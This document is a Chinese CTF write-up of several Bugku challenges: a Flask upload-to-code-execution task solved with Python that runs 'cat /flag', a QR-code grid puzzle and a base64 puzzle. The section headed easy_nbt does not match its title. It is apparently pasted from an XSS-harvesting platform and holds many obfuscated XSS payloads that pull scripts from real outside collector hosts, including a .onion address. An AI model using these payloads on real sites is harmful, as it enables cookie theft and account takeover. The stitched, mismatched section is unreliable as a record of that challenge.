6.Flask_FileUpload
https://ctf.bugku.com/challenges/detail/id/204.htmlhttp://114.67.175.224:11209/提示很明显了:给我一个文件,我将把python运行后的输出结果给你
os.system()函数
os.popen()函数——比os.system()更强大
在单元测试时发现os.popen效果更加强大;不仅可以调用 系统命令,实现等同于os.system效果,还可以读取返回值
构造python代码
import osos.system('cat /flag')
或者
import subprocess# 执行系统命令result = subprocess.run(['cat', '/flag'], capture_output=True, text=True)# 输出命令的执行结果print(result.stdout)
或者
import os# 执行shell命令cmd = 'cat /flag'output = os.popen(cmd)# 读取命令输出result = output.read()# 输出命令结果print(result)
POST /uploader HTTP/1.1Host: 114.67.175.224:11209Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cache-Control: max-age=0Content-Length: 217Content-Type: multipart/form-data; boundary=----WebKitFormBoundary13ohE5uzznT3cMahUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36------WebKitFormBoundary13ohE5uzznT3cMahContent-Disposition: form-data; name="file"; filename="1.png"Content-Type: image/pngimport os# 执行shell命令cmd = 'cat /flag'output = os.popen(cmd)# 读取命令输出result = output.read()# 输出命令结果print(result)------WebKitFormBoundary13ohE5uzznT3cMah--
flag{56c24b0e9bee33facd2731788f44fd53}7.1和0的故事
https://ctf.bugku.com/challenges/detail/id/216.html0000000001110010000000000000000000001111010000000000000000011100010000000000000000010111100000000000000000001010101000000000000000000011000101000000000000000010101010100000000000000000100000110000000011000111011101101000110000001000010110010010010100010011110100001110111001100111101001010110010010011000001001100001001101000111100011111101110010100010110111110011011111101111000110110010010101101100100011110011111111111011100000000101100011000101000000000010010100101010001000000001010101010001100100000000001001111111100100000000000011001011110111000000000100110010010000100000000110000110110110010000000011010000101110101
观察上面代码,由0和1组成的25*25的方格,推测为25x25为版本2的二维码尺寸
from PIL import Imagedef create_qr_code(data):# 7x7的定位标志flag = [[1, 1, 1, 1, 1, 1, 1],[1, 0, 0, 0, 0, 0, 1],[1, 0, 1, 1, 1, 0, 1],[1, 0, 1, 1, 1, 0, 1],[1, 0, 1, 1, 1, 0, 1],[1, 0, 0, 0, 0, 0, 1],[1, 1, 1, 1, 1, 1, 1]]img = Image.new("1", (25, 25))try:for i, row in enumerate(data):for j, pixel in enumerate(row):# 左上角定位标志if i < 7 and j < 7:img.putpixel((i, j), flag[i][j] ^ 1)# 左下角定位标志elif i > 17 and j < 7:img.putpixel((i, j), flag[i - 18][j] ^ 1)# 右上角定位标志elif i < 7 and j > 17:img.putpixel((i, j), flag[i][j - 18] ^ 1)else:img.putpixel((i, j), int(pixel) ^ 1)img = img.resize((500, 500))img.show()except Exception as e:print("生成二维码时出现错误:", str(e))try:with open("1和0的故事.txt", "r") as f:data = [list(line.strip()) for line in f]create_qr_code(data)except FileNotFoundError:print("找不到文件,请确保文件存在并提供正确的路径和文件名。")except Exception as e:print("读取文件时出现错误:", str(e))
flag{QR_c0de_1s_1nterest1n9}8.easy_nbt
https://ctf.bugku.com/challenges/detail/id/217.htmlhttps://minecraft.fandom.com/zh/wiki/NBT%E6%A0%BC%E5%BC%8Fhttps://ctf.bugku.com/challenges/detail/id/374.htmlhttps://xss.pt/图片探测系统(记录referer、IP、浏览器等信息),只要对方网站可以调用外部图片(或可自定义HTML),常用于探测后台地址
图片插件一:
域名一:<Img sRC=https://0x.ax/TFhcWXp.jpg>域名二:<Img sRC=https://xss.pt/TFhcWXp.jpg>域名三:<Img sRC=https://i0.al/TFhcWXp.jpg>
暗网图片地址:
<Img sRC=http://7ix7kigpovxdbtd32fuspgffmtmufo3wwzgnzaltddewtbb4mnek5byd.onion/TFhcWXp.jpg>一、将如下代码植入怀疑出现xss的地方(注意'的转义),即可在 项目内容 查看XSS返回结果。
域名一:<sCRiPt sRC=//0x.ax/TFhcWX></sCrIpT>域名二:<sCRiPt sRC=//xss.pt/TFhcWX></sCrIpT>域名三:<sCRiPt sRC=//i0.al/TFhcWX></sCrIpT>
或者上面代码转换URL一次编码
域名一:%3CsCRiPt%20sRC%3D%2F%2F0x.ax%2FTFhcWX%3E%3C%2FsCrIpT%3E域名二:%3CsCRiPt%20sRC%3D%2F%2Fxss.pt%2FTFhcWX%3E%3C%2FsCrIpT%3E域名三:%3CsCRiPt%20sRC%3D%2F%2Fi0.al%2FTFhcWX%3E%3C%2FsCrIpT%3E
暗网XSS代码,暗网地址不变,payload类推
<ScRipT sRc=//7ix7kigpovxdbtd32fuspgffmtmufo3wwzgnzaltddewtbb4mnek5byd.onion/TFhcWX></SCriPt>或者标准代码
域名一:</tExtArEa>'"><sCRiPt sRC=https://0x.ax/TFhcWX></sCrIpT>域名二:</tExtArEa>'"><sCRiPt sRC=https://xss.pt/TFhcWX></sCrIpT>域名三:</tExtArEa>'"><sCRiPt sRC=https://i0.al/TFhcWX></sCrIpT>
或者上面代码转换URL一次编码
域名一:%3C%2FtExtArEa%3E%27%22%3E%3CsCRiPt%20sRC%3Dhttps%3A%2F%2F0x.ax%2FTFhcWX%3E%3C%2FsCrIpT%3E域名二:%3C%2FtExtArEa%3E%27%22%3E%3CsCRiPt%20sRC%3Dhttps%3A%2F%2Fxss.pt%2FTFhcWX%3E%3C%2FsCrIpT%3E域名三:%3C%2FtExtArEa%3E%27%22%3E%3CsCRiPt%20sRC%3Dhttps%3A%2F%2Fi0.al%2FTFhcWX%3E%3C%2FsCrIpT%3E
或者上面代码转换URL二次编码
域名一:%253C%252FtExtArEa%253E%2527%2522%253E%253CsCRiPt%2520sRC%253Dhttps%253A%252F%252F0x.ax%252FTFhcWX%253E%253C%252FsCrIpT%253E域名二:%253C%252FtExtArEa%253E%2527%2522%253E%253CsCRiPt%2520sRC%253Dhttps%253A%252F%252Fxss.pt%252FTFhcWX%253E%253C%252FsCrIpT%253E域名三:%253C%252FtExtArEa%253E%2527%2522%253E%253CsCRiPt%2520sRC%253Dhttps%253A%252F%252Fi0.al%252FTFhcWX%253E%253C%252FsCrIpT%253E
二、再或者 IMG 标签
域名一:</tEXtArEa>'"><img src=# id=xssyou style=display:none onerror=eval(unescape(/var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22https%3A%2F%2F0x.ax%2FTFhcWX%22%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source));//>域名二:</tEXtArEa>'"><img src=# id=xssyou style=display:none onerror=eval(unescape(/var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22https%3A%2F%2Fxss.pt%2FTFhcWX%22%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source));//>域名三:</tEXtArEa>'"><img src=# id=xssyou style=display:none onerror=eval(unescape(/var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22https%3A%2F%2Fi0.al%2FTFhcWX%22%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source));//>
再或者以你任何想要的方式插入
域名一:<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='https://0x.ax/TFhcWX';>域名二:<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='https://xss.pt/TFhcWX';>域名三:<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='https://i0.al/TFhcWX';>
通杀火狐谷歌360
<img src=x onerror=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPSdodHRwczovL2kwLmFsL1RGaGNXWD8nK01hdGgucmFuZG9tKCk='))>三、标签iframe等, 实体10进制编码↓
<iframe WIDTH=0 HEIGHT=0 srcdoc=。。。。。。。。。。<sCRiPt sRC="https://i0.al/TFhcWX"></sCrIpT>>以上实体10进制编码进行一次URL编码↓
%3Ciframe%20WIDTH%3D0%20HEIGHT%3D0%20srcdoc%3D%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%26%2360%3B%26%23115%3B%26%2367%3B%26%2382%3B%26%23105%3B%26%2380%3B%26%23116%3B%26%2332%3B%26%23115%3B%26%2382%3B%26%2367%3B%26%2361%3B%26%2334%3B%26%23104%3B%26%23116%3B%26%23116%3B%26%23112%3B%26%23115%3B%26%2358%3B%26%2347%3B%26%2347%3B%26%23105%3B%26%2348%3B%26%2346%3B%26%2397%3B%26%23108%3B%26%2347%3B%26%2384%3B%26%2370%3B%26%23104%3B%26%2399%3B%26%2387%3B%26%2388%3B%26%2334%3B%26%2362%3B%26%2360%3B%26%2347%3B%26%23115%3B%26%2367%3B%26%23114%3B%26%2373%3B%26%23112%3B%26%2384%3B%26%2362%3B%3E实体16进制编码
<iframe WIDTH=0 HEIGHT=0 srcdoc=。。。。。。。。。。<sCRiPt sRC="https://i0.al/TFhcWX"></sCrIpT>>以上实体16进制编码进行一次URL编码↓
%3Ciframe%20WIDTH%3D0%20HEIGHT%3D0%20srcdoc%3D%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%26%23x3C%3B%26%23x73%3B%26%23x43%3B%26%23x52%3B%26%23x69%3B%26%23x50%3B%26%23x74%3B%26%23x20%3B%26%23x73%3B%26%23x52%3B%26%23x43%3B%26%23x3D%3B%26%23x22%3B%26%23x68%3B%26%23x74%3B%26%23x74%3B%26%23x70%3B%26%23x73%3B%26%23x3A%3B%26%23x2F%3B%26%23x2F%3B%26%23x69%3B%26%23x30%3B%26%23x2E%3B%26%23x61%3B%26%23x6C%3B%26%23x2F%3B%26%23x54%3B%26%23x46%3B%26%23x68%3B%26%23x63%3B%26%23x57%3B%26%23x58%3B%26%23x22%3B%26%23x3E%3B%26%23x3C%3B%26%23x2F%3B%26%23x73%3B%26%23x43%3B%26%23x72%3B%26%23x49%3B%26%23x70%3B%26%23x54%3B%26%23x3E%3B%3E↓↓↓!~极限代码~!(可以不加最后的>回收符号,下面代码已测试成功)↓↓↓
域名一:<sCRiPt/SrC=//0x.ax/TFhcWX>域名二:<sCRiPt/SrC=//i0.al/TFhcWX>
Payload
"><sCRiPt/SrC=//0x.ax/TFhcWX><"10.抄错的字符
https://ctf.bugku.com/challenges/detail/id/186.html老师让小明抄写一段话,结果粗心的小明把部分数字抄成了字母,还因为强迫症把所有字母都换成大写。你能帮小明恢复并解开答案吗:QWIHBLGZZXJSXZNVBZW
建议退学吧,连字母数字都抄错
原文有数字有字母所以考虑base64,4个为一组是因为base64把明文的3字节编码为4字节。
QW1hbl92ZXJ5X2Nvb2w